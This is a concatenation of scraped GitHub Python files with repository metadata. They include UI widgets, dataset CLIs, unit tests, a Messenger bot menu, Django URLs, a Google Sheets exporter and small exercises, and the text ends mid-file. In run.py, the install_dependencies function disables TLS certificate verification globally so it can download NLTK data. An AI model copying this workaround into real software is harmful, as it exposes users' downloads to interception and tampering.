self._on_click()\n elif self.state == ButtonState.PRESSED:\n self.state = ButtonState.NORMAL\n self._on_click()\n\n def deactivate(self):\n self.state = ButtonState.INACTIVE\n\n def activate(self):\n self.state = ButtonState.NORMAL\n\n def on_hover(self):\n if not (self.state == ButtonState.INACTIVE or self.state == ButtonState.PRESSED):\n self.state = ButtonState.HOVER\n\n def on_hover_end(self):\n if self.state == ButtonState.HOVER:\n self.state = ButtonState.NORMAL\n\n\nclass ButtonChooser(UIContainer):\n def __init__(\n self,\n options: Dict[str, Any],\n center_x: float,\n center_y: float,\n width: float,\n on_choice: Callable[[Any], None] = None,\n on_choice_reset: Callable[[], None] = None,\n ):\n self._on_choice: Callable[[Any], None] = on_choice if on_choice is not None else lambda option: None\n self._on_choice_reset: Callable[[], None] = on_choice_reset if on_choice_reset is not None else lambda: None\n self._choice_taken: bool = False\n self._choice: Any = None\n self.buttons: List[Button] = list()\n for i, (text, option) in enumerate(options.items()):\n button = Button(\n text=text,\n center_x=(center_x + width * (i / (len(options) - 1) - 0.5) if len(options) > 1 else center_x),\n center_y=center_y,\n width=width / len(options) - 10.0,\n scale=1.3,\n )\n self._assign_on_click(button, option)\n self.buttons.append(button)\n self.ui_elements.append(button)\n\n @property\n def choice_taken(self) -> bool:\n return self._choice_taken\n\n @property\n def choice(self) -> Any:\n return self._choice\n\n def set_on_choice(self, on_choice: Callable[[Any], None]) -> None:\n self._on_choice = on_choice\n\n def set_on_choice_reset(self, on_choice_reset: Callable[[], None]) -> None:\n self._on_choice_reset = on_choice_reset\n\n def _assign_on_click(self, button: Button, option: Any) -> None:\n button.set_on_click(lambda: self._on_button_pressed(button, option))\n\n def _on_button_pressed(self, button_pressed: Button, option: Any) -> None:\n if not self.choice_taken:\n for button in self.buttons:\n if button is not button_pressed:\n button.deactivate()\n self._choice = option\n self._on_choice(option)\n self._choice_taken = True\n else:\n for button in self.buttons:\n button.activate()\n self._choice = None\n self._on_choice_reset()\n self._choice_taken = False\n","repo_name":"pxlbrain-games/wonderland","sub_path":"wonderland/ui/buttons.py","file_name":"buttons.py","file_ext":"py","file_size_in_byte":6308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21506157604","text":"import sys\nimport argparse\nfrom pathlib import Path\nfrom typing import Optional\nfrom preprocessor import get_dataset_preprocessor, DatasetPreprocessorNotFoundError\nfrom metric_analyzer import get_dataset_processor, DatasetNotFoundError\n\n\ndef preprocess_dataset(dataset_name: str, dataset_path: str):\n try:\n dataset_path = Path(dataset_path)\n dataset_preprocessor = get_dataset_preprocessor(dataset_name)(dataset_path)\n except DatasetPreprocessorNotFoundError as err:\n print(err.message, file=sys.stderr)\n return\n\n try:\n dataset_preprocessor.preprocess()\n except Exception as err:\n print(f'Can\\'t process dataset {dataset_name}, possibly invalid path to the dataset was provided.\\n'\n f'Please check the description of the specified dataset preprocessor.')\n print(f'Error: {err}', file=sys.stderr)\n return\n\n\ndef parse_preprocess_command():\n parser = argparse.ArgumentParser()\n parser.add_argument('--dataset', choices=['aesw', 'lang8', 'fce', 'jfleg'], type=str, required=True,\n help='dataset name')\n parser.add_argument('--dataset_path', type=str, required=True,\n help='a path to the directory with specified dataset')\n args = parser.parse_args(sys.argv[2:])\n preprocess_dataset(args.dataset, args.dataset_path)\n\n\ndef process_dataset(dataset_name: str, only_edited: bool, sample_rate: float, extract_edits: bool):\n try:\n dataset_processor = get_dataset_processor(dataset_name, only_edited, sample_rate)\n except DatasetNotFoundError as err:\n print(err.message, file=sys.stderr)\n return\n if extract_edits:\n dataset_processor.extract_edits()\n else:\n dataset_processor.compute_metrics()\n\n\ndef parse_analyze_command():\n parser = argparse.ArgumentParser()\n parser.add_argument('--dataset', choices=['aesw', 'lang8', 'fce', 'jfleg', 'papeeria'], type=str, required=True,\n help='dataset name')\n parser.add_argument('--only-edited', action='store_true',\n help='use only pairs of sentences with edits')\n parser.add_argument('--sample-rate', type=float, default=1.0,\n help='use only pairs of sentences with edits')\n parser.add_argument('--extract-edits', action='store_true',\n help='extract sentences with substitutions')\n args = parser.parse_args(sys.argv[2:])\n process_dataset(args.dataset, args.only_edited, args.sample_rate, args.extract_edits)\n\n\ndef get_action_type():\n if len(sys.argv) == 1:\n raise NameError()\n action_type = sys.argv[1]\n if action_type not in {'preprocess', 'analyze'}:\n raise NameError()\n return action_type\n\n\ndef main():\n try:\n action_type = get_action_type()\n except NameError:\n print(\n 'usage: run.py [-h] {preprocess,analyze}\\n'\n ' preprocess\\n'\n ' --dataset {aesw,lang8,fce,jfleg}\\n'\n ' --dataset_path DATASET_PATH\\n'\n ' analyze\\n'\n ' --dataset {aesw,lang8,fce,jfleg,papeeria}\\n'\n ' [--only-edited]\\n'\n ' [--sample-rate RATE]\\n'\n ' [--extract-subst]\\n'\n )\n return\n\n actions = {\n 'preprocess': parse_preprocess_command,\n 'analyze': parse_analyze_command\n }\n actions[action_type]()\n\n\ndef install_dependencies():\n try:\n from nltk import word_tokenize\n word_tokenize('Hello world!')\n except:\n import ssl\n try:\n _create_unverified_https_context = ssl._create_unverified_context\n except AttributeError:\n pass\n else:\n ssl._create_default_https_context = _create_unverified_https_context\n try:\n import nltk\n print('Installing nltk.punkt')\n nltk.download('punkt', raise_on_error=True)\n except:\n print('Unable to download nltk.punkt, check your internet connection', file=sys.stderr)\n return False\n return True\n\n\nif __name__ == '__main__':\n if install_dependencies():\n main()\n","repo_name":"AntonYermilov/gec-dataset-analyzer","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":4151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74334155879","text":"import unittest\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport statsmodels.api as sm\n\nclass TestDescriptiveStats(unittest.TestCase):\n\n def setUp(self):\n # sample salary dataset\n dataset = pd.read_csv('C:/Users/justo/module1dataset/ds_salaries.csv', nrows=5)\n self.column_names = ['work_year', 'salary', 'salary_in_usd', 'remote_ratio']\n self.selected_data = dataset[self.column_names]\n\n def test_column_properties(self):\n # test numeric type, missing values, and unique values\n expected_counts = [5, 5, 5, 5]\n expected_missing_values = [0, 0, 0, 0]\n expected_unique_values = [1, 5, 5, 1]\n\n for i, column in enumerate(self.column_names):\n selected_column = self.selected_data[column]\n with self.subTest(column=column):\n self.assertTrue(pd.api.types.is_numeric_dtype(selected_column))\n self.assertEqual(selected_column.count(), expected_counts[i])\n self.assertEqual(selected_column.isnull().sum(), expected_missing_values[i])\n self.assertEqual(selected_column.nunique(), expected_unique_values[i])\n\n def test_causation_analysis(self):\n # test for causation analysis for different combinations of independent and dependent variables\n combinations = [('work_year', 'salary'), ('salary_in_usd', 'remote_ratio')]\n\n for independent_var, dependent_var in combinations:\n causation_results = self.selected_data[[independent_var, dependent_var]].dropna()\n X = sm.add_constant(causation_results[independent_var])\n y = causation_results[dependent_var]\n\n try:\n model = sm.OLS(y, X).fit()\n self.assertIsNotNone(model.summary())\n except Exception as e:\n self.fail(f\"Error performing causation analysis for {independent_var} -> {dependent_var}: {str(e)}\")\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"justonslc/MachineLearning","sub_path":"venv/unittests.py","file_name":"unittests.py","file_ext":"py","file_size_in_byte":1993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10521588429","text":"import re\nimport buttons\nimport faq_menu, texts\n\ndef main_options(bot, recipient_id, recipient_message, account):\n if re.match(r'(?i)(.*((FAQ)|(поширені питання)).*)', recipient_message):\n bot.send_raw({\"recipient\": {\"id\": recipient_id}, \"messaging_type\": \"RESPONSE\", \"message\":buttons.faq_menu})\n elif re.match(r'(?i)(.*((Personal account)|(особ.*кабінет)).*)', recipient_message):\n if account:\n bot.send_raw({\"recipient\": {\"id\": recipient_id}, \"message\": buttons.control_panel})\n else:\n bot.send_raw({\"recipient\": {\"id\": recipient_id}, \"messaging_type\": \"RESPONSE\", \"message\": buttons.share_phone})\n elif re.match(r'(?i)(.*((help)|(довідка)|(допомога)).*)', recipient_message):\n bot.send_text_message(recipient_id, texts.help)\n elif re.match(r'(?i)(.*((feedback)|((зв\\'язок)|(написати)|(зв\\'язатися).*викладач)).*)', recipient_message):\n bot.send_text_message(recipient_id, \"Задай питання, яке тебе цікавить викладачу нижче:\")\n else:\n faq_menu.faq_options(bot, recipient_id, recipient_message)","repo_name":"denisrogovoy/aixosfacebookmessengerbot","sub_path":"main_menu.py","file_name":"main_menu.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"43002351029","text":"import gi\n\ngi.require_version('Gtk', '3.0')\nfrom .LocalSearch import LocalSearch\nfrom .OnlineSearch import OnlineSearch\nimport threading\n\n\nclass SearchCommon:\n def __init__(self, ui):\n self.local_searcher = LocalSearch()\n self.online_searcher = OnlineSearch()\n self.ui = ui\n self.local_list = self.ui.get_object('LocalListBox')\n self.local_list.show()\n self.online_list = self.ui.get_object('OnlineListBox')\n self.search_entry = self.ui.get_object('SearchEntry')\n self.search_entry.connect('search_changed', self.search_changed)\n self.local_searcher.connect('result-found', self.result_found)\n self.search_thread = threading.main_thread()\n\n def result_found(self, local_searcher, path, file):\n print('result_found' + str(file) + str(path))\n self.local_searcher.append_to_list(self.local_list, (path, file))\n\n def search_changed(self, search_entry):\n self.local_searcher.local_search(search_entry.get_text())\n print('search_changed_signal')\n","repo_name":"theawless/Karya","sub_path":"karya/plugins/search/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"3638566976","text":"# Write a program that prompts for a string. Make sure the string is 10 or more characters in length. The\n# program will then check the entered string for the occurrence of the substring 'code-', at the beginning of the\n# string. If you find the 'code-' followed by 2 digits, then print 'code-??', where ?? are the characters at position\n# 8th and 9th of the string. Otherwise (if the regex pattern is not found), print the last two characters of the\n# string\n\nimport re;\n\nwhile True:\n text = input('Please enter a string longer than 10 characters: ');\n if len(text) > 10:\n break\n\nstringsFound = re.search('^code-\\d\\d', text);\nif str(stringsFound) == 'None':\n print(text[-2:])\nelse:\n print(stringsFound)","repo_name":"JeffKingsbury/Python_courses_JAC","sub_path":"Python 2/class 5/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14732207676","text":"import sys\n\nsys.stdin = open(\"section4/4.txt\", \"r\")\n\nM, H = map(int, input().split())\n\n# 1 2 4 8 9\n\nk = []\nfor _ in range(M):\n T = int(input())\n k.append(T)\n\nk.sort()\n\n\ndef check(mid):\n cnt = 1\n pivot = k[0]\n for x in range(1, M):\n if k[x] - pivot >= mid:\n cnt += 1\n pivot = k[x]\n return cnt\n\n\nlt = 1\nrt = k[M - 1] - k[0]\n\nres = 0\n\nwhile lt <= rt:\n mid = (lt + rt) // 2\n if check(mid) >= H:\n res = mid\n # 최적화된 해를 찾아야 하므로 작은쪽에서 올린다.\n lt = mid + 1\n else:\n rt = mid - 1\n\nprint(res)","repo_name":"talentceffort/python-algorithm","sub_path":"section4/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20469488026","text":"from django.conf.urls import url\nfrom views import *\n\nurlpatterns = [\n url(r'^$', index,name='index'),\n url(r'gift_codes$', gift_codes,name='gift_codes'),\n url(r'favorites$', favorites,name='favorites'),\n url(r'settings$', settings,name='settings'),\n url(r'cc_delete/(?P<cc_id>\\d+)$', cc_delete,name='cc_delete'),\n url(r'cc_add$', cc_add,name='cc_add'),\n url(r'cc_add_form$', cc_add_form,name='cc_add_form'),\n ]","repo_name":"sozo2/stubhub_clone","sub_path":"apps/my_hub/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"25673699292","text":"class Hash_Tabel:\r\n def __init__(self):\r\n self.size = 10\r\n self.Hash_Map = [None] * self.size\r\n #self.Hash_Map = [[] for _ in range(0,self.size)]\r\n #self.Hash_Map = [None] * self.size\r\n\r\n print(self.Hash_Map)\r\n def get_Hash(self,key):\r\n Key_Number = 0\r\n for char in str(key):\r\n Key_Number = Key_Number + ord(char)\r\n return Key_Number % self.size\r\n\r\n def add(self,key,value):\r\n key_hash = self.get_Hash(key)\r\n key_value = [key,value]\r\n if self.Hash_Map[key_hash] is None:\r\n self.Hash_Map[key_hash] = list([key_value])\r\n return True\r\n else:\r\n for k in self.Hash_Map[key_hash]:\r\n if k[0] == key:\r\n k[1] = value\r\n return True\r\n self.Hash_Map[key_hash].append([key_value])\r\n #return True\r\n def get_Hash_Index(self,key):\r\n key_hash = self.get_Hash(key)\r\n if self.Hash_Map[key_hash] is not None:\r\n for inner_key in self.Hash_Map[key_hash]:\r\n if inner_key[0] == key:\r\n return inner_key[1]\r\n #return False\r\n\r\n def delete_Key(self,key):\r\n hash_key = self.get_Hash(key)\r\n if self.Hash_Map[hash_key] is None:\r\n return False\r\n #if self.Hash_Map[hash_key] is not None:\r\n\r\n\r\n for inner_key in range(0,len(self.Hash_Map[hash_key])):\r\n if self.Hash_Map[hash_key][inner_key][0] == key:\r\n self.Hash_Map[hash_key].pop(inner_key)\r\n return True\r\n\r\n def display(self):\r\n print(\"-------------Values-------\")\r\n for item in self.Hash_Map:\r\n if item is not None:\r\n print(str(item))\r\n\r\n\r\nobj = Hash_Tabel()\r\nobj.add(\"Prashanth\",\"111\")\r\nobj.add(\"Vasanthkumar\",\"112\")\r\nobj.add(\"Sibi\",\"113\")\r\nobj.add(\"Anthonay\",\"114\")\r\nobj.add(\"aaa\",\"111\")\r\nobj.add(\"bbb\",\"112\")\r\n\r\nobj.add(\"Mukundans\",\"11511\")\r\nobj.add(\"Mukundans\",\"116\")\r\nobj.add(\"Mukundans\",\"116444\")\r\nobj.add(\"Vasanthkumar\",\"112222\")\r\nobj.display()\r\nprint('-------------------------After Deletion---------------------------')\r\nobj.delete_Key(\"Sibi\")\r\nobj.display()","repo_name":"pnayak333/Hash_oher_programs","sub_path":"Hash_Map_Class.py","file_name":"Hash_Map_Class.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70321361961","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport gspread\nfrom oauth2client.service_account import ServiceAccountCredentials\nimport pandas as pd\nimport numpy as np\n\n#install oauth2client and gspread using pip install\n#before run this program you must enable google drive and google sheet api on your google cloud console platform\n#create a new project as your wish\n#navigate to APIs&Service Dashboard\n#On top left, enable APIS (google drive and google sheet)\n#click Credentials panel\n#click Create credentials-->Service account key-->New service account-->name it-->select a role (usually Project-->Editor)\n#select JSON key type, and click Create\n#The Json credential file is created\n#open the file using a text editor, find the line starting with \"client_email\", and copy the email after the key word\n#Go you your google sheet platform, open one sheet file you want to get access to, click share, and paste the email address you just copy\n#Now you are ready to run the following scripts\n\ndef from_google_sheet_to_txt(g_file_name=\"persons\",save_file=[\"file.txt\"],sheet_tag=[\"sheet1\"],jason_credential_file=\"Worship-arrangement-DD-1005ad7eaf1f.json\"):\n if type(sheet_tag)!=type([]):\n sheet_tag=[sheet_tag]\n if type(save_file)!=type([]):\n save_file=[save_file]\n google_sheet_file_name=g_file_name#name of your google sheet file\n which_sheet=sheet_tag#tag name of the sheet, you may have several sheets\n jason_key_file=jason_credential_file#credential info in json format you saved\n #scope for google sheet and google drive api (it may change, just google it if so)\n scope=['https://www.googleapis.com/auth/spreadsheets','https://www.googleapis.com/auth/drive']\n credentials=ServiceAccountCredentials.from_json_keyfile_name(jason_key_file,scope)\n gc=gspread.authorize(credentials)\n table=gc.open(google_sheet_file_name.decode(\"utf8\"))\n wks_list=[table.worksheet(each) for each in sheet_tag]\n for ii in range(len(wks_list)):\n wks=wks_list[ii]\n col_lables=wks.row_values(1)\n values=np.array(col_lables)[np.newaxis,:][0:0]\n for i in range(2,wks.row_count+1):\n if wks.row_values(i)!=[]:\n values=np.append(values,np.array(wks.row_values(i))[np.newaxis,:],axis=0)\n else:\n break\n #table information in pandas dataframe format\n table_df=pd.DataFrame(values,columns=col_lables)\n table_df.to_csv(path_or_buf=save_file[ii],sep=\"\\t\",encoding=\"utf8\",index=False)\n","repo_name":"jackey-qiu/message_reminder","sub_path":"access_google_sheet.py","file_name":"access_google_sheet.py","file_ext":"py","file_size_in_byte":2501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71157828200","text":"import requests\n\nGAME_REQUEST_HEADER = {\n \"X-Unity-Version\": \"2018.4.27f1\",\n \"Accept-Encoding\": \"gzip\"\n }\n\ndef request_manifest(version: str) -> bytes | None:\n url = f\"https://asset-starlight-stage.akamaized.net/dl/{version}/manifests/Android_AHigh_SHigh\"\n resp = requests.get(url, headers=GAME_REQUEST_HEADER)\n resp.raise_for_status()\n return resp.content\n\ndef request_db(hash):\n url = f\"https://asset-starlight-stage.akamaized.net/dl/resources/Generic/{hash[:2]}/{hash}\"\n resp = requests.get(url, headers=GAME_REQUEST_HEADER)\n resp.raise_for_status()\n return resp.content\n\n\nif __name__ == \"__main__\":\n man = request_manifest(\"10097000\")\n print(f\"manifest size is {len(man)} bytes\")","repo_name":"hadisiswanto62/cgutils-py","sub_path":"data_updater/network/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35711813675","text":"import sys\nimport pygame\n# from part2.alien_invasion.practise.MyShip import MyShip\n\ndef check_move_down(event, myShip, mySettings):\n if event.key == pygame.K_RIGHT:\n myShip.moving_right = True\n if event.key == pygame.K_LEFT:\n myShip.moving_left = True\ndef check_move_up(event, myShip, mySettings):\n if event.key == pygame.K_RIGHT:\n myShip.moving_right = False\n if event.key == pygame.K_LEFT:\n myShip.moving_left = False\ndef check_event(myShip, mySettings):\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n if event.type == pygame.KEYDOWN:\n check_move_down(event, myShip, mySettings)\n if event.type == pygame.KEYUP:\n check_move_up(event, myShip, mySettings)\ndef set_backcolor(myShip, screen, mySettings):\n\n screen.fill(mySettings.bg_color)\n\n myShip.blitme()\n # 让最近绘制的屏幕可见\n pygame.display.flip()\n\n\n","repo_name":"spddhm/python","sub_path":"part2/alien_invasion/practise/function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74742223078","text":"import http.client\nfrom http.server import HTTPStatus\nimport json\nimport netaddr\nfrom PyQt5.QtCore import QObject, pyqtSignal, pyqtProperty, pyqtSlot\n\n\nclass ServerComm(QObject):\n CONTENT_LENGTH_STR = \"Content-Length\"\n CONTENT_TYPE_STR = \"Content-Type\"\n APP_JSON_STR = \"application/json\"\n AUTH_STR = \"Authorization\"\n\n serverConnectionChanged = pyqtSignal()\n\n def __init__(self, parent: QObject):\n super().__init__(parent)\n self._server_conn = None\n self._auth = None\n\n @pyqtSlot(str, int)\n def connect_to_server(self, host: str, port: int):\n addr = netaddr.IPAddress(host, flags=netaddr.ZEROFILL).ipv4()\n print(\"Trying to connect to server {}:{}\".format(addr, port))\n self._server_conn = http.client.HTTPConnection(str(addr), port, timeout=10)\n self._server_conn.connect()\n if self._server_conn.sock is None:\n print('Not Connected!')\n else:\n print('Connected!')\n self.serverConnectionChanged.emit()\n\n @pyqtProperty('bool')\n def active_conn(self) -> bool:\n return self._server_conn.sock is not None\n\n def _get_default_header(self, content_length: int):\n return {self.CONTENT_TYPE_STR: self.APP_JSON_STR,\n self.AUTH_STR: self._auth,\n self.CONTENT_LENGTH_STR: content_length}\n\n def empty_response(self, response_bytes) -> bool:\n return response_bytes == b\"\" or response_bytes is None or len(response_bytes) == 0\n\n def _request_and_response(self, command: str, endpoint: str, json_msg: dict = None) -> [int, dict]:\n msg = None if json_msg is None else json.dumps(json_msg)\n headers = self._get_default_header(len(msg) if msg is not None else 0)\n self._server_conn.request(command, endpoint, msg, headers)\n response = self._server_conn.getresponse()\n response_bytes = response.read()\n # print(b\"BYTES: \" + response_bytes)\n response_json = None if response.code != HTTPStatus.OK or self.empty_response(response_bytes) else json.loads(response_bytes.decode())\n return response.code, response_json\n\n def get_new_login(self, name: str) -> int:\n msg_body = {\"player_name\": name}\n json_msg = json.dumps(msg_body)\n headers = {self.CONTENT_TYPE_STR: self.APP_JSON_STR,\n self.CONTENT_LENGTH_STR: len(json_msg)}\n self._server_conn.request('POST', '/login', json_msg, headers)\n response = self._server_conn.getresponse()\n if response.code != HTTPStatus.OK:\n print(\"Fail to get login\")\n return None\n else:\n json_response = json.loads(response.read().decode())\n self._auth = json_response[\"session\"]\n player_id = json_response[\"player_id\"]\n return player_id\n\n def get_players(self) -> dict:\n code, response = self._request_and_response('GET', '/players')\n if code != HTTPStatus.OK:\n print(\"Falha ao pegar jogadores ativos\")\n return None\n else:\n if int(response[\"players_count\"]) > 0:\n return response[\"players\"]\n else:\n return None\n\n def request_game(self, player_id, invite_id) -> bool:\n code, response = self._request_and_response('POST', '/requestGame', {\n \"invitor_id\": player_id,\n \"inviting_id\": invite_id\n })\n return code != HTTPStatus.OK\n\n def check_invitation(self, player_id: int) -> [int, str]:\n code, response = self._request_and_response('GET', '/invitation', {\n \"player_id\": player_id\n })\n if code != HTTPStatus.OK:\n return None, None\n else:\n return int(response[\"invitor\"]['id']), response[\"invitor\"]['name']\n\n def check_active_session(self, player_id: int) -> dict:\n code, response = self._request_and_response('GET', '/gameSessionActive', {\n \"player_id\": player_id\n })\n if code != HTTPStatus.OK or response is None:\n return None\n else:\n print(type(response))\n print(response)\n return response[\"session\"]\n\n def quit_session(self, player_id: int) -> dict:\n code, response = self._request_and_response('POST', '/gameSessionActive', {\n \"player_id\": player_id,\n \"quit\": True\n })\n if code != HTTPStatus.OK or response is None:\n return False\n else:\n return True\n\n def check_session_status(self, session_id: int) -> dict:\n code, response = self._request_and_response('GET', '/gameSessionStatus', {\n \"session_id\": session_id\n })\n if code != HTTPStatus.OK or response is None:\n return None\n else:\n return response[\"session\"]\n\n def answer_invitation(self, player_id: int, accept: bool) -> dict:\n code, response = self._request_and_response('POST', '/invitation', {\n \"player_id\": player_id,\n \"accepted\": accept\n })\n if code != HTTPStatus.OK:\n return None\n else:\n return response[\"session\"]\n\n def make_move(self, session_id: int, player_id: int, board_index: int) -> dict:\n code, response = self._request_and_response('POST', '/makeMove', {\n \"game_session\": session_id,\n \"player_id\": player_id,\n \"index_id\": board_index\n })\n if code != HTTPStatus.OK or response is None:\n return None\n else:\n return response[\"session\"]\n","repo_name":"jv-oliveira/Tictactoe_client_server","sub_path":"client/server_comm.py","file_name":"server_comm.py","file_ext":"py","file_size_in_byte":5572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14274851114","text":"from handler_panodr import panodrHandler \nimport logging\n\n_service = panodrHandler()\n\ndef handle(data, context):\n if not _service.initialized:\n _service.initialize(context)\n logging.info(\"initialition succeded\")\n\n if data is None:\n return None\n data = _service.preprocess(data)\n data = _service.inference(data)\n data = _service.postprocess(data)\n\n return data\n ","repo_name":"VCL3D/PanoDR","sub_path":"service/panohandler.py","file_name":"panohandler.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"18"} +{"seq_id":"17846369664","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\nimport streamlit as st\nimport pandas as pd\nimport plotly.express as px\n\n\nst.title('Data visualization and Interactive')\n\n\ndf=pd.read_csv(\"Student mental health.csv\")\ndf=pd.DataFrame(df)\nst.header('Mental health visualizations')\n\nfig = px.histogram(df, x=\"course\",color='gender',histfunc=\"count\",text_auto=True,title='Number of Course of each gender')\nst.plotly_chart(fig)\n\nhealth=pd.read_csv(\"healthy_lifestyle_city_2021 copy.csv\")\nst.header('Health lifestyle of cities(2021) visualizations')\nfig=px.scatter(health,x=\"City\",y=\"Sunshine hours(City)\",title=\"Sunshine hours of Cities\",color=\"City\",hover_name=\"City\")\nst.plotly_chart(fig)\n\nchoice = st.selectbox(\n 'Select the gender',\n ('Female', 'Male'))\nif choice == 'Female':\n df_female = df[df[\"gender\"]==\"Female\"]\n df_age_female = df_female.groupby([\"Age\"], as_index = False)[\"Timestamp\"].count()\n fig = px.pie(df_age_female , values='Age', names='Age', title='Age Distribution for Females')\n st.plotly_chart(fig)\nelse:\n df_male = df[df[\"gender\"]==\"Male\"]\n df_age_male = df_male.groupby([\"Age\"], as_index = False)[\"Timestamp\"].count()\n fig = px.pie(df_age_male , values='Age', names='Age', title='Age Distribution for Males')\n st.plotly_chart(fig)\n \ncost=st.slider(\"How much is the cost of bottle of water you buy?\",0.00,3.00) \nif cost>=0.15 and cost<=2.11:\n fig=px.box(health,y=\"Cost of a bottle of water(City)\",title=\"Cost of a bottle of water Cities\")\n st.plotly_chart(fig)\n st.write(\"cost of bottle of water you buy is: €\",cost)\noption = st.radio(\n 'Have you ever had a Panik attack?',\n ('yes','no'))\nif option==\"yes\":\n Panik_attack=df[df[\"Panic _attack\"]==\"Panik_attack\"]\n st.header('Find below a bar graph on number of females and males who had panik attack as a student')\n fig=px.bar(df, x=\"Panic _attack\",\n color='gender', barmode='group',\n height=400,title=\"Number of panic attacks of males and females\")\n \n st.plotly_chart(fig)\n","repo_name":"rhz03/streamlit","sub_path":"temp2.py","file_name":"temp2.py","file_ext":"py","file_size_in_byte":2051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41463574271","text":"import io\nimport os\nimport time\nimport PIL.Image\n\nfrom django.core.management.base import BaseCommand, CommandError\nfrom django.db.models import F, Q\n\nimport requests\n\nfrom images.models import Image\n\n\ndef get_aspect_ratio(height: int, width: int):\n \"\"\"\n Returns the aspect ratio of an image.\n \"\"\"\n divider = 0\n i = height if height < width else width\n\n while i != 0:\n if height % i == 0 and width % i == 0:\n divider = i\n break\n i -= 1\n\n return f\"{int(width / divider)}:{int(height / divider)}\"\n\n\nclass Command(BaseCommand):\n def handle(self, *args, **options):\n images = Image.objects.filter(height=0, width=0).exclude(\n Q(file=\"\") or Q(file=None)\n )\n total_images = images.count()\n\n j = 1\n\n for image in images:\n r = requests.get(image.file.url)\n f = io.BytesIO(r.content)\n\n try:\n pil_image = PIL.Image.open(f)\n except:\n self.stderr.write(\n self.style.ERROR(\"ERROR\") + f\" - {image.id} - ({j}/{total_images})\"\n )\n j += 1\n continue\n\n image.height = pil_image.height\n image.width = pil_image.width\n\n pil_image.close()\n\n image.aspect_ratio = get_aspect_ratio(image.height, image.width)\n\n image.save()\n f.close()\n\n self.stdout.write(\n self.style.SUCCESS(\"SUCCESS\")\n + f\" - {image.id} - {image.height}x{image.width} [{image.aspect_ratio}] - ({j}/{total_images})\"\n )\n j += 1\n\n Image.objects.filter(height__gt=F(\"width\")).update(\n orientation=Image.Orientation.PORTRAIT\n )\n Image.objects.filter(width__gt=F(\"height\")).update(\n orientation=Image.Orientation.LANDSCAPE\n )\n Image.objects.filter(width=F(\"height\")).update(\n orientation=Image.Orientation.SQUARE\n )\n\n self.stdout.write(self.style.SUCCESS(\"ALL IMAGE DIMENSIONS UPDATED\"))\n","repo_name":"Nekos-API/Nekos-API","sub_path":"api/images/management/commands/image_size.py","file_name":"image_size.py","file_ext":"py","file_size_in_byte":2081,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"18"} +{"seq_id":"34984695814","text":"# Nikko Rush\n# 8/2/2017\n\nimport sys\n\nimport matplotlib\n\nimport PyQt5.QtCore as QtCore\nimport PyQt5.QtWidgets as QtWidgets\n\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg\nfrom matplotlib.figure import Figure\nimport numpy as np\n\nmatplotlib.use(\"Qt5Agg\")\n\n\nclass QMatplotlib(FigureCanvasQTAgg):\n\n def __init__(self, parent=None, width=5, height=4, dpi=100):\n self.figure = Figure(figsize=(width, height), dpi=dpi)\n self.axes = self.figure.add_subplot(111)\n\n self.get_initial()\n\n FigureCanvasQTAgg.__init__(self, self.figure)\n self.setParent(parent)\n\n FigureCanvasQTAgg.setSizePolicy(self, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding)\n FigureCanvasQTAgg.updateGeometry(self)\n\n def get_initial(self):\n t = np.arange(0.0, 3.0, 0.01)\n s = np.sin(2*np.pi*t)\n self.axes.plot(t, s, 'r')\n\n\nclass Application(QtWidgets.QMainWindow):\n\n def __init__(self):\n QtWidgets.QMainWindow.__init__(self)\n\n self.setAttribute(QtCore.Qt.WA_DeleteOnClose)\n\n self.main_widget = QtWidgets.QWidget(self)\n\n layout = QtWidgets.QVBoxLayout(self.main_widget)\n graph = QMatplotlib(parent=self.main_widget)\n layout.addWidget(graph)\n\n self.main_widget.setFocus()\n self.setCentralWidget(self.main_widget)\n\n\ndef test():\n import sys\n import PyQt5.QtWidgets as QtWidgets\n\n \"\"\"\n ZetCode PyQt4 tutorial \n\n In this example, we create a skeleton\n of a calculator using a QtGui.QGridLayout.\n\n author: Jan Bodnar\n website: 